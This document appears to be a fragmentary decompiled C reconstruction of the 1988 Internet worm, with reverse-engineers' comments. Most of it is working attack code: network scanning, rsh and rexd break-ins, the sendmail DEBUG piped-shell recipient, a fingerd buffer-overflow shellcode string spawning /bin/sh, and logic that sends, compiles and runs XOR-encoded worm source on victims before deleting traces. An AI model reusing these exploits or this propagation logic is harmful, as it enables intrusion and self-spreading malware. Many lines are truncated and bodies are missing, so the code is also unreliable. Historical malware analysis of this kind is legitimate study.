extern struct hst *h_addr2host(), *h_name2host();
int ngateways, *gateways;
struct ifses ifs[30]; /* Arbitrary number, fix */
/* Clean hosts not contacted from the host list. */
struct hst *newhosts, *host, *next;
for (host = hosts; host != NULL; host = next) {
if (host == me || host->flag != 0) {
/* Look for a gateway we can contact. */
hg() /* 0x3270, check again */
for (i = 0; i < ngateways; i++) { /* 24, 92 */
host = h_addr2host(gateways[i], 1);
if (try_rsh_and_mail(host))
ha() /* 0x32d4, unchecked */
for (i = 0; i < ngateways; i++) { /* 40, 172 */
host = h_addr2host(gateways[i], 1);
for (k = 0; k < 6; k++) { /* 86, 164 */
if (try_telnet_p(host->o48[k]) == 0)
permute(l416, j, sizeof(l416[0]));
for (i = 0; i < j; i++) { /* 198, 260 */
if (hi_84(l416[i] & netmaskfor(l416[i])))
for (i = 0; i < 6; i++) { /* 18, 106 */
if (hi_84(me->o48[i] & netmaskfor(me->o48[i])) != 0)
for (host = hosts; host; host = host->next )
if ((host->flag & 0x08 != 0) && (try_rsh_and_mail(host) != 0))
int l12, l16, l20, i, l28, adr_index, l36, l40, l44;
for (i = 0; i < nifs; i++) { /* 128,206 */
if (arg1 == (ifs[i].if_l24 & ifs[i].if_l16))
if (l16 == 0x0000ffff) { /* 330 */
for (l40 = 1; l40 < 255; l40++) /* 236,306 */
for (l20 = 1; l20 <= 8; l20++) /* 254,300 */
netaddrs[adr_index++] = arg1 | (l20 << 16) | l40;
permute(netaddrs, adr_index, sizeof(netaddrs[0]));
for (l20 = 1; l20 < 255; l20++)
netaddrs[adr_index++] = (arg1 | l20);
permute(netaddrs, 3*sizeof(netaddrs[0]), sizeof(netaddrs[0]));
permute(netaddrs, adr_index - 6, 4);
for (l36 = 0; l36 < adr_index; l36++) { /* 454,620 */
host = h_addr2host(l4, 0);
if (host == NULL || (host->flag & 0x02) == 0)
if (host == NULL || (host->flag & 0x04) == 0 ||
command_port_p(l4, l44) == 0)
host = h_addr2host(l4, 1);
if (try_rsh_and_mail(host))
/* Only called in the function above */
static command_port_p(addr, time) /* x36d2, <hi+634> */
int s, connection; /* 28 */
struct sockaddr_in sin; /* 16 bytes */
s = socket(AF_INET, SOCK_STREAM, 0);
bzero(&sin, sizeof(sin));
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = addr;
sin.sin_port = IPPORT_CMDSERVER; /* Oh no, not the command serve
save_sighand = signal(SIGALRM, justreturn); /* Wakeup if it
/* Set up a timeout to break from connect if it fails */
connection = connect(s, &sin, sizeof(sin));
if (connection < 0 && errno == ENETUNREACH)
error("Network unreachable");
static try_telnet_p(addr) /* x37b2 <hi+858>, checked */
int s, connection; /* 28 */
struct sockaddr_in sin; /* 16 bytes */
s = socket(AF_INET, SOCK_STREAM, 0);
bzero(&sin, sizeof(sin));
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = addr;
sin.sin_port = IPPORT_TELNET; /* This time try telnet... */
/* Set up a 5 second timeout, break from connect if it fails */
save_sighand = signal(SIGALRM, justreturn);
connection = connect(s, &sin, sizeof(sin));
if (connection < 0 && errno == ECONNREFUSED) /* Telnet connection refuse
alarm(0); /* Turn off timeout */
/* Used in hg(), hi(), and hi_84(). */
static try_rsh_and_mail(host) /* x3884, <hi+1068> */
if (host->o48[0] == 0 || host->hostname == NULL)
if (host->hostname && /* 1352 */
fork_rsh(host->hostname, &fd1, &fd2,
XS("exec /bin/sh"))) { /* <env+188> */
result = talk_to_sh(host, fd1, fd2);
/* Prevent child from hanging around in the <exiting> state */
wait3((union wait *)NULL, WNOHANG, (struct rusage *)NULL);
if (try_finger(host, &fd1, &fd2)) { /* 1440 */
result = talk_to_sh(host, fd1, fd2);
/* Check a2in() as it is updated */
/* Used in twice in try_rsh_and_mail(), once in hu1(). */
static talk_to_sh(host, fdrd, fdwr) /* x3a20, Checked, changed <hi+
char send_buf[512]; /* l516 */
char print_buf[52]; /* l568 */
int l572, l576, l580, l584, l588, l592;
objectptr = getobjectbyname(XS("l1.c")); /* env 200c9 */
return 0; /* <hi+2128> */
if (makemagic(host, &l592, &l580, &l584, &l588) == 0)
send_text(fdwr, XS("PATH=/bin:/usr/bin:/usr/ucb\n"));
send_text(fdwr, XS("cd /usr/tmp\n"));
l576 = random() % 0x00FFFFFF;
sprintf(print_buf, XS("x%d.c"), l576);
/* The 'sed' script just puts the EOF on the transmitted program. */
sprintf(send_buf, XS("echo gorch49;sed \'/int zz;/q\' > %s;echo gorch50\n"
send_text(fdwr, send_buf);
wait_for(fdrd, XS("gorch49"), 10);
xorbuf(objectptr->buf, objectptr->size);
l572 = write(fdwr, objectptr->buf, objectptr->size);
xorbuf(objectptr->buf, objectptr->size);
if (l572 != objectptr->size) {
return 0; /* to <hi+2128> */
send_text(fdwr, XS("int zz;\n\n"));
wait_for(fdrd, XS("gorch50"), 30);
#define COMPILE "cc -o x%d x%d.c;./x%d %s %d %d;rm -f x%d x%d.c;echo DONE\n"
sprintf(send_buf, XS(COMPILE), l576, l576, l576,
inet_ntoa(a2in(l592)), l580, l584, l576, l576);
send_text(fdwr, send_buf);
if (wait_for(fdrd, XS("DONE"), 100) == 0) {
return 0; /* <hi+2128> */
return waithit(host, l592, l580, l584, l588);
makemagic(arg8, arg12, arg16, arg20, arg24) /* checked */
int *arg12, *arg16, *arg20, *arg24;
struct sockaddr_in sin0, sin1; /* 16 bytes */
*arg20 = random() & 0x00ffffff;
bzero(&sin1, sizeof(sin1));
sin1.sin_addr.s_addr = me->l12;
for (i= 0; i < 6; i++) { /* 64, 274 */
if (arg8->o48[i] == NULL)
s = socket(AF_INET, SOCK_STREAM, 0);
bzero(&sin0, sizeof(sin0));
sin0.sin_family = AF_INET;
sin0.sin_port = IPPORT_TELNET;
sin0.sin_addr.s_addr = arg8->o48[i];
if (connect(s, &sin0, sizeof(sin0)) != -1) {
getsockname(s, &sin1, &namelen);
*arg12 = sin1.sin_addr.s_addr;
for (i = 0; i < 1024; i++) { /* 286,466 */
s = socket(AF_INET, SOCK_STREAM, 0);
bzero(&sin0, sizeof(sin0));
sin0.sin_family = AF_INET;
sin0.sin_port = random() % 0xffff;
if (bind(s, &sin0, sizeof(sin0)) != -1) {
/* Check for somebody connecting. If there is a connection and he has the rig
* a complete set of encoded objects to it. */
waithit(host, arg1, arg2, key, arg4) /* 0x3e86 */
int l8, sin_size, l16, i, l24, l28;
struct sockaddr_in sin; /* 44 */
char files[20][128]; /* File list, 2608 */
save_sighand = signal(SIGPIPE, justreturn);
l8 = accept(arg4, &sin, &sin_size);
if (xread(l8, &l16, sizeof(l16), 10) != 4)
for (i = 0; i < nobjects; i++) { /* 164,432 */
write(l8, &l16, sizeof(l16));
sprintf(files[i], XS("x%d,%s"),
(random()&0x00ffffff), obj->name);
write(l8, files[i], sizeof(files[0]));
xorbuf(obj->buf, obj->size);
l24 = write(l8, obj->buf, obj->size);
xorbuf(obj->buf, obj->size);
/* Get rid of my client's key, and tell him the list has ended. */
if (write(l8, &l16, sizeof(l16)) != 4)
/* Don't run up the load average too much... */
if (test_connection(l8, l8, 30) == 0)
send_text(l8, XS("PATH=/bin:/usr/bin:/usr/ucb\n"));
send_text(l8, XS("rm -f sh\n"));
sprintf(strbuf, XS("if [ -f sh ]\nthen\nP=x%d\nelse\nP=sh\nfi\n"),
for (i = 0; i < nobjects; i++) { /* 636,1040 */
if ((l2612 = index(files[i], '.')) == NULL ||
sprintf(strbuf, XS("cc -o $P %s\n"), files[i]);
if (test_connection(l8, l8, 30) == 0)
sprintf(strbuf, XS("./$P -p $ "));
for(l28 = 0; l28 < nobjects; l28++) { /* 820,892 */
strcat(strbuf, files[l28]);
strcat(strbuf, XS("\n"));
if (test_connection(l8, l8, 10) == 0) {
send_text(l8, XS("rm -f $P\n"));
for (i = 0; i < nobjects; i++) { /* 1044,1122 */
sprintf(strbuf, XS("rm -f %s $P\n"), files[i]);
test_connection(l8, l8, 5);
/* Only called from within mail */
static compile_slave(host, s, arg16, arg20, arg24) /* x431e, <waithit+1176> */
char cfile[56]; /* 568 */
int wr_len, key; /* might be same */
obj = getobjectbyname(XS("l1.c"));
send_text(s, XS("cd /usr/tmp\n"));
key = (random() % 0x00ffffff);
sprintf(cfile, XS("x%d.c"), key);
sprintf(buf, XS("cat > %s <<\'EOF\'\n"), cfile);
xorbuf(obj->buf, obj->size);
wr_len = write(s, obj->buf, obj->size);
xorbuf(obj->buf, obj->size);
send_text(s, XS("EOF\n"));
sprintf(buf, XS("cc -o x%d x%d.c;x%d %s %d %d;rm -f x%d x%d.c\n"),
inet_ntoa(a2in(arg16, arg20, arg24, key, key)->baz));
return send_text(s, buf);
static send_text(fd, str) /* 0x44c0, <waithit+1594> */
write(fd, str, strlen(str));
/* Used in try_rsh_and_mail(). */
static fork_rsh(host, fdp1, fdp2, str) /* 0x44f4, <waithit+1646> */
if (child < 0) { /* 1798 */
if (child == 0) { /* 2118 */
for (fd = 0; fd < 32; fd++)
/* 'execl()' does not return if it suceeds. */
execl(XS("/usr/ucb/rsh"), XS("rsh"), host, str, 0);
execl(XS("/usr/bin/rsh"), XS("rsh"), host, str, 0);
execl(XS("/bin/rsh"), XS("rsh"), host, str, 0);
if (test_connection(*fdp1, *fdp2, 30))
return 1; /* Sucess!!! */
/* Give the child a chance to die from the signal. */
static test_connection(rdfd, wrfd, time) /* x476c,<waith
char combuf[100], numbuf[100];
sprintf(numbuf, XS("%d"), random() & 0x00ffffff);
sprintf(combuf, XS("\n/bin/echo %s\n"), numbuf);
return wait_for(rdfd, numbuf, time);
static wait_for(fd, str, time) /* <waithit+2412> */
while (x488e(fd, buf, sizeof(buf), time) == 0) { /* 2532 */
for(i = 0; buf[i]; i++) {
if (strncmp(str, &buf[i], length) == 0)
/* Installed as a signal handler */
justreturn(sig, code, scp) /* 0x4872 */
static x488e(fd, buf, num_chars, maxtime)
int fd, num_chars, maxtime;
for (i = 0; i < num_chars; i++) { /* 46,192 */
timeout.tv_usec = maxtime;
if (select(fd + 1, &readfds, 0, 0, &timeout) <= 0)
if (read(fd, &buf[i], 1) != 1)
/* This doesn't appear to be used anywhere??? */
static char *movstr(arg0, arg1) /* 0x4958,<just_return+
if (isspace(*arg0)) break;
What this routine does is actually kind of clever. Keep in
mind that on a Vax the stack grows downwards.
fingerd gets its input via a call to gets, with an argument
of an automatic variable on the stack. Since gets doesn't
have a bound on its input, it is possible to overflow the
buffer without an error message. Normally, when that happens
you trash the return stack frame. However, if you know
where everything is on the stack (as is the case with a
distributed binary like BSD), you can put selected values
back in the return stack frame.
This is what that routine does. It overwrites the return frame
to point into the buffer that just got trashed. The new code
does a chmk (change-mode-to-kernel) with the service call for
execl and an argument of "/bin/sh". Thus, fingerd gets a
service request, forks a child process, tries to get a user name
and has its buffer trashed, does a return, exec's a shell,
and then proceeds to take input off the socket -- from the
worm on the other machine. Since many sites never bother to
fix fingerd to run as something other than root.....
Luckily, the code doesn't work on Suns -- it just causes it
/* This routine exploits a fixed 512 byte input buffer in a VAX running
* the BSD 4.3 fingerd binary. It send 536 bytes (plus a newline) to
* overwrite six extra words in the stack frame, including the return
* PC, to point into the middle of the string sent over. The instructions
* in the string do the direct system call version of execve("/bin/sh"). */
static try_finger(host, fd1, fd2) /* 0x49ec,<just_return+378 */
struct sockaddr_in sin; /* 36 */
int l552, l556, l560, l564, l568;
char buf[536]; /* 1084 */
int (*save_sighand)(); /* 1088 */
save_sighand = signal(SIGALRM, justreturn);
for (i = 0; i < 6; i++) { /* 416,608 */
s = socket(AF_INET, SOCK_STREAM, 0);
bzero(&sin, sizeof(sin));
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = host->o48[i];
sin.sin_port = IPPORT_FINGER;
if (connect(s, &sin, sizeof(sin)) < 0) {
for(i = 0; i < 536; i++) /* 628,654 */
buf[i+j] = "\335\217/sh\0\335\217/bin\320^Z\335\0\335\0\335Z\335\003\320^\\\274;\344\371\344\342\241\256\343\350\357\256\362\351"[j];
/* constant string x200a0 */
/* 0xdd8f2f73,0x6800dd8f,0x2f62696e,0xd05e5add,0x00dd00dd,0x5add03d0,0x5e5cbc3b */
/* "\335\217/sh\0\335\217/bin\320^Z\335\0\335\0\335Z\335\003\320^\\\274;\344\371\344\342\241\256\343\350\357\256\362\351"... */
l556 = 0x7fffe9fc; /* Rewrite part of the stack frame */
l556 = byte_swap(l556); /* Reverse the word order for the */
l560 = byte_swap(l560); /* VAX (only Suns have to do this) */
write(s, buf, sizeof(buf)); /* sizeof == 536 */
if (test_connection(s, s, 10)) {
static byte_swap(arg) /* 0x4c48,<just_return+982 */
permute(ptr, num, size) /* 0x4c9a */
for (i = 0; i < num*size; i+=size) { /* 18,158 */
newloc = size * (random() % num);
bcopy(ptr+newloc, ptr+i, size);
bcopy(buf, ptr+newloc, size);
/* Called from try_rsh_and_mail() */
static try_mail(host) /* x4d3c <permute+162>*/
struct sockaddr_in sin; /* 16 bytes */
struct sockaddr saddr; /* Not right */
int fd_tmp; /* ??? part of saddr *
if (makemagic(host, &saddr) == 0)
return 0; /* <permute+1054> */
old_handler = signal(SIGALRM, justreturn);
for( i = 0; i < 6; i++) { /* to 430 */
if (host->o48[i] == NULL)
s = socket(AF_INET, SOCK_STREAM, 0);
bzero(&sin, sizeof(sin)); /* 16 */
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = host->o48[i];
sin.sin_port = IPPORT_SMTP;
if (connect(s, &sin, sizeof(sin)) < 0) {
if (x50bc( s, l548) != 0 || l548[0] != '2')
send_text(s, XS("debug")); /* "debug" */
if (x50bc( s, l548) != 0 || l548[0] != '2')
#define MAIL_FROM "mail from:</dev/null>\n"
#define MAIL_RCPT "rcpt to:<\"| sed \'1,/^$/d\' | /bin/sh ; exit 0\">\n"
send_text(s, XS(MAIL_FROM));
if (x50bc( s, l548) != 0 || l548[0] != '2')
i = (random() & 0x00FFFFFF);
sprintf(l548, XS(MAIL_RCPT), i, i);
if (x50bc( s, l548) != 0 || l548[0] != '2')
send_text(s, XS("data\n"));
if (x50bc( s, l548) == 0 || l548[0] != '3')
send_text(s, XS("data\n"));
compile_slave(host, s, saddr);
send_text(s, XS("\n.\n"));
if (x50bc( s, l548) == 0 || l548[0] != '2') {
close(fd_tmp); /* This isn't set yet!!! */
send_text(s, XS("quit\n"));
if (x50bc( s, l548) == 0 || l548[0] != '2') {
close(fd_tmp); /* This isn't set yet!!! */
return waithit(host, saddr);
send_text(s, XS("quit\n"));
/* Used only in try_mail() above. This fills buffer with a line of the respon
static x50bc(s, buffer) /* x50bc, <permute+1058
/* Fill in exact code later. It's pretty boring. */
/* I call this "huristic 1". It tries to breakin using the remote execution
* service. It is called from a subroutine of cracksome_1 with information fr
* a user's .forword file. The two name are the original username and the one
hu1(alt_username, host, username2) /* x5178 */
char *alt_username, *username2;
int result, i, fd_for_sh; /* 780, 784, 788 */
if (host->flag & HST_HOSTTWO) /* Already tried ??? */
if (host->o48[0] || host->hostname == NULL)
host->flag |= HST_HOSTFOUR;
strncpy(username, username2, sizeof(username)-1);
username[sizeof(username)-1] = '\0';
strcpy(username, alt_username);
for (i = 0; username[i]; i++)
if (ispunct(username[i]) || username[i] < ' ')
fd_for_sh = x538e(host, username, &alt_username[30]);
result = talk_to_sh(host, fd_for_sh, fd_for_sh);
fd_for_sh = x538e(me, alt_username, &alt_username[30]);
sprintf(buffer2, XS("exec /usr/ucb/rsh %s -l %s \'exec /bin/sh\'\n"),
host->hostname, username);
send_text(fd_for_sh, buffer2);
if (test_connection(fd_for_sh, fd_for_sh, 25)) /* 508 */
result = talk_to_sh(host, fd_for_sh, fd_for_sh);
/* Used in hu1. Returns a file descriptor. */
/* It goes through the six connections in host trying to connect to the
* remote execution server on each one.
static int x538e(host, name1, name2)
struct sockaddr_in sin; /* 16 bytes */
for (i = 0; i < 6; i++) { /* 552,762 */
s = socket(AF_INET, SOCK_STREAM, 0);
bzero(&sin, sizeof(sin)); /* 16 */
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = host->o48[i];
sin.sin_port = IPPORT_EXECSERVER; /* Oh shit, looking for rexd */
signal(SIGALRM, justreturn);
if (connect(s, &sin, sizeof(sin)) < 0) {
/* Check out the connection by writing a null */
if (write(s, XS(""), 1) == 1) {
/* Tell the remote execution deamon the hostname, username, and to star
write(s, name1, strlen(name1) + 1);
write(s, name2, strlen(name2) + 1);
if ((write(s, XS("/bin/sh"), strlen(XS("/bin/sh"))+1) >= 0) &&
xread(s, in_buf, 1, 20) == 1 &&
test_connection(s, s, 40) != 0)
/* Reads in a file and puts it in the 'objects' array. Returns 1 if sucessful
loadobject(obj_name) /* x5594 */
char *object_buf, *suffix;
fd = open(obj_name, O_RDONLY);
if (fstat(fd, &statbuf) < 0) {
object_buf = malloc(size);
if (read(fd, object_buf, size) != size) {
xorbuf(object_buf, size);
suffix = index(obj_name, ',');
objects[nobjects].name = strcpy(malloc(strlen(suffix)+1), suffix);
objects[nobjects].size = size;
objects[nobjects].buf = object_buf;
/* Returns the object from the 'objects' array that has name, otherwise NULL.
object *getobjectbyname(name)
for (i = 0; i < nobjects; i++)
if (strcmp(name, objects[i].name) == 0)
/* Encodes and decodes the binary coming over the socket. */
xorbuf(buf, size) /* 0x577e */
char *addr_self; /* The address of the xorbuf fuction */
addr_self = (char *)xorbuf;
/* Make a connection to the local machine and see if I'm running in
another process by sending a magic number on a random port and waiting
five minutes for a reply. */
checkother() /* 0x57d0 */
int s, l8, l12, l16, optval;
struct sockaddr_in sin; /* 16 bytes */
s = socket(AF_INET, SOCK_STREAM, 0);
/* Make a socket to the localhost, using a link-time specific port */
bzero(&sin, sizeof(sin)); /* 16 */
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = inet_addr(XS("127.0.0.1")); /* <other_fd+4> */
sin.sin_port = 0x00005b3d; /* ??? */
if (connect(s, &sin, sizeof(sin)) < 0) {
l8 = MAGIC_2; /* Magic number??? */
if (write(s, &l8, sizeof(l8)) != sizeof(l8)) {
if (xread(s, &l8, sizeof(l8), 5*60) != sizeof(l8)) {
if (write(s, &l12, sizeof(l12)) != sizeof(l12)) {
if (xread(s, &l16, sizeof(l16), 10) != sizeof(l16)) {
s = socket(AF_INET, SOCK_STREAM, 0);
/* Set the socket so that the address may be reused */
setsockopt(s, SOL_SOCKET, SO_REUSEADDR, &optval, sizeof(optval));
if (bind(s, &sin, sizeof(sin)) < 0) {
/* Sleep, waiting for another worm to contact me. */
other_sleep(how_long) /* 0x5a38 */
readmask = 1 << other_fd;
timeout.tv_sec = how_long;
nfds = select(other_fd+1, &readmask, 0, 0, &timeout);
how_long -= time2 - time1;
static answer_other() /* 0x5b14 */
int ns, addrlen, magic_holder, magic1, magic2;
struct sockaddr_in sin; /* 16 bytes */
ns = accept(other_fd, &sin, &addrlen);
if (write(ns, &magic_holder, sizeof(magic_holder)) != sizeof(magic_holder)
if (xread(ns, &magic_holder, sizeof(magic_holder), 10) != sizeof(magic_holder)) {
if (magic_holder != MAGIC_2) {
if (write(ns, &magic1, sizeof(magic1)) != sizeof(magic1)) {
if (xread(ns, &magic2, sizeof(magic2), 10) != sizeof(magic2)) {
if (sin.sin_addr.s_addr != inet_addr(XS("127.0.0.1")))
if (((magic1+magic2) % 2) != 0) {
/* A timeout-based read. */
xread(fd, buf, length, time) /* 0x5ca8 */
for (i = 0; i < length; i++) { /* 150 */
if (select(fd+1, &readmask, 0, 0, &timeout) < 0)
if (read(fd, &buf[i], 1) != 1)
/* These are some of the strings that are encyphed in the binary. The
* person that wrote the program probably used the Berkeley 'xstr' program
* to extract and encypher the strings.
char *env52 = "sh"; /* 0x20034, <environ+52> */
char *env66 = "/tmp/.dump";
char *env77 = "128.32.137.13";
char *env91 = "127.0.0.1";
char *env102 = "/usr/ucb/netstat -r -n"; /* 0x20066 */
PATH=/bin:/usr/bin:/usr/ucb
echo gorch49;sed '/int zz;/q' > %s;echo gorch50
cc -o x%d x%d.c;./x%d %s %d %d;rm -f x%d x%d.c;echo DONE
PATH=/bin:/usr/bin:/usr/ucb
cc -o x%d x%d.c;x%d %s %d %d;rm -f x%d x%d.c
rcpt to:<"| sed '1,/^$/d' | /bin/sh ; exit 0">
exec /usr/ucb/rsh %s -l %s 'exec /bin/sh'
* compile-command: "cc -S hs.c"